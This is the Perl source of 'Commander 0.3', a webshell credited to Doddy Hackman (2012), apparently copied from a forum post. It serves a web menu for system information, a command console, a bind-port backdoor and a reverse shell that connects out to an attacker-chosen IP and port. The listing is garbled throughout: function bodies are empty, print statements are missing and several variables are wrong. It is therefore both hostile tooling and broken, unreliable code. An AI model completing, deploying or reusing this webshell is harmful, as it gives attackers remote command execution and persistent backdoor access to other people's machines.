Código
#!usr/bin/perl # #C0mmand3r (C) Doddy HAckman 2012 #Version 0.3 # #A simple WebShell in Perl # # use IO::Socket; use CGI; use Cwd; use Win32; my $port = rep(); sub rep { unless ( $ARGV[0] ) { } else { } } my $sock = new IO::Socket::INET( LocalHost => 'localhost', LocalPort => $port, Proto => 'tcp', Listen => SOMAXCONN, Reuse => 1 ); while ( $jebus = $sock->accept() ) { #print $jebus "HTTP/1.1 200/OK\r\nContent-type:application/w-www-form-urlencoded\r\n\r\n"; while ( $response = <$jebus> ) { my %rta; if ( $response =~ /GET/ig ) { capturar($response); } sub capturar { if ( $aa =~ /GET \/(.*) HTTP\/1.1/ig ) { my $todo = $1; if ( $todo =~ /\?(.*)=(.*)&(.*)=(.*)/ig ) { $rta{$1} = $2; $rta{$3} = $4; } if ( $todo =~ /\?(.*)=(.*)/ig ) { $rta{$1} = $2; } } } <style type=text/css> .main { margin : -287px 0px 0px -490px; border : White solid 1px; BORDER-COLOR: #00FF00; } #pie { position: absolute; bottom: 0; } body,a:link { font: normal 16px Verdana, Arial, Helvetica, sans-serif; background-color: #000000; color:#00FF00; Courier New; cursor:crosshair; font-size: small; } input,table.outset,table.bord,table,textarea,select,fieldset { background-color:black;color:#00FF00; border: solid 1px #00FF00; border-color:#00FF00 } a:link,a:visited,a:active { color: #00FF00; font: normal 16px Verdana, Arial, Helvetica, sans-serif; text-decoration: none; } </style> "; if ( $rta{'info'} ) { info(); . Win32::DomainName() . "<br>"; . Win32::LoginName() . "<br><br></center>"; copyright(); } elsif ( $rta{'console'} ) { logouno(); <br><br><center> <form action='' method=GET> Command : <input type=text name=cmd value=ver><input type=submit value=Execute> </center></form><br><br> "; copyright(); } elsif ( $rta{'cmd'} ) { logouno(); $lucha = $rta{'cmd'}; $lucha =~ s/\+/ /; copyright(); } elsif ( $rta{'reverse'} ) { logodos(); <center> <br><br><b>ReverseShell</b><br><br> <form action='' method=GET> <b>Your IP</B> : <input type=text name=ipconnect value=localhost><br> <b>Port</b> : <input type=text name=port value=666><br> <br><input type=submit value=Connect></form><br><br> </center> ); copyright(); } elsif ( $rta{'ipconnect'} ) { conectar( $rta{'ipconnect'}, $rta{'port'} ); tipo(); sub conectar { } sub tipo { if ( $^O =~ /Win32/ig ) { infowin(); } else { infolinux(); #root(); } } sub infowin { } sub infolinux { } } elsif ( $rta{'backdoor'} ) { logotres(); <center> <br><br><b>BindPort</b><br><br> <form action='' method=GET> <b>Port</b> : <input type=text name=portbind value=666><br> <br><input type=submit value=Bind></form><br><br> </center> ); copyright(); } elsif ( $rta{'portbind'} ) { $backdoor = IO::Socket::INET->new( Proto => 'tcp', LocalPort => $rta{'portbind'}, Listen => SOMAXC, Reuse => 1 ); while ( $jesus = $backdoor->accept() ) { $jesus->autoflush(1); print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : " . $$ . "\n\n"; &extras; $dir = getcwd(); while (<$jesus>) { } } sub extras { if ( $^O =~ //ig ) { . Win32::DomainName() . "\n"; . Win32::GetOSName() . "\n"; . Win32::LoginName() . "\n\n\n"; } else { } } } elsif ( $rta{'about'} ) { about(); <pre><center> ¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾ ¾¾¾¾ ¾¾¾¾¾¾ ¾¾¾¾ ¾¾¾ ¾¾¾ ¾¾¾ ¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾ ¾¾¾¾ ¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾ ¾ ¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾ ¾¾¾¾¾¾¾¾¾¾ ¾ ¾ ¾ ¾¾¾¾ ¾ ¾ ¾ ¾¾ ¾¾ ¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾ ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾ ¾¾¾ ¾¾¾¾¾¾¾¾¾ ¾¾¾ ¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾ ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾ ¾¾¾¾¾¾ ¾¾¾¾ ¾¾¾¾ </pre></center> ); copyright(); } else { <title>Commander 0.3 (C) Doddy Hackman 2012</title> <br><br> <h1><center>Commander</center></h1> <br><br> <center> <table border=1> <td class=main><center><b>Tools</b></center></td><tr> <td class=main><a href=?info=true><center>Information</center></a></td><tr> <td class=main><a href=?console=true><center>Console</center></a></td><tr> <td class=main><a href=?backdoor=true><center>Backdoor</center></a></td><tr> <td class=main><a href=?reverse=true><center>ReverseShell</center></a></td><tr> <td class=main><a href=?about=true><center>About</center></a></td> </table> </center> "; copyright(); } $jebus->close; } } continue { $jebus->close; } sub logouno { <pre><center> @@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@ @@@@ @@@@ @@@@@@ @@ @@@@@@ @@ @@ @@ @@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@ @@@@@@ @@ @@ @@@@ @@@@@@ @@ @@@@@@ </pre></center> ); } sub logodos { <pre><center> @@@@@@@@@@ @@ @@ @@ @@ @@ @@ @@@@@@ @@ @@ @@@@@@ @@@@ @@@@ @@@@@@ @@@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@@@ @@ @@ @@@@@@@@@@ @@ @@ @@@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@ @@@@@@ @@ @@@@ @@@@@@ </pre></center> ); } sub logotres { <pre><center> @@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@@@@@ @@ @@ @@@@@@@@ @@@@@@ @@@@@@ @@@@ @@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@ @@ @@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@ @@@@@@@@ @@@@@@ @@ @@ @@@@@@@@ @@@@@@ @@@@@@ @@ </pre></center> ); } sub about { <pre><center> @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@ @@@@@@ @@ @@ @@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@ @@ @@ @@ @@@@@@@@ @@@@@@ @@@@ @@ @@ </pre></center> ); } sub info { <pre><center> @@ @@ @@ @@@@@@@@@@ @@@@@@@@ @@ @@@@ @@ @@ @@ @@ @@ @@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@ @@ @@ @@ @@ @@ @@@@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@ </pre></center> ); } sub get_ip { } sub copyright { print $jebus "<br><br><br><br><center><h1>Coded By Doddy H</h2></center><br><br>"; } # The End ?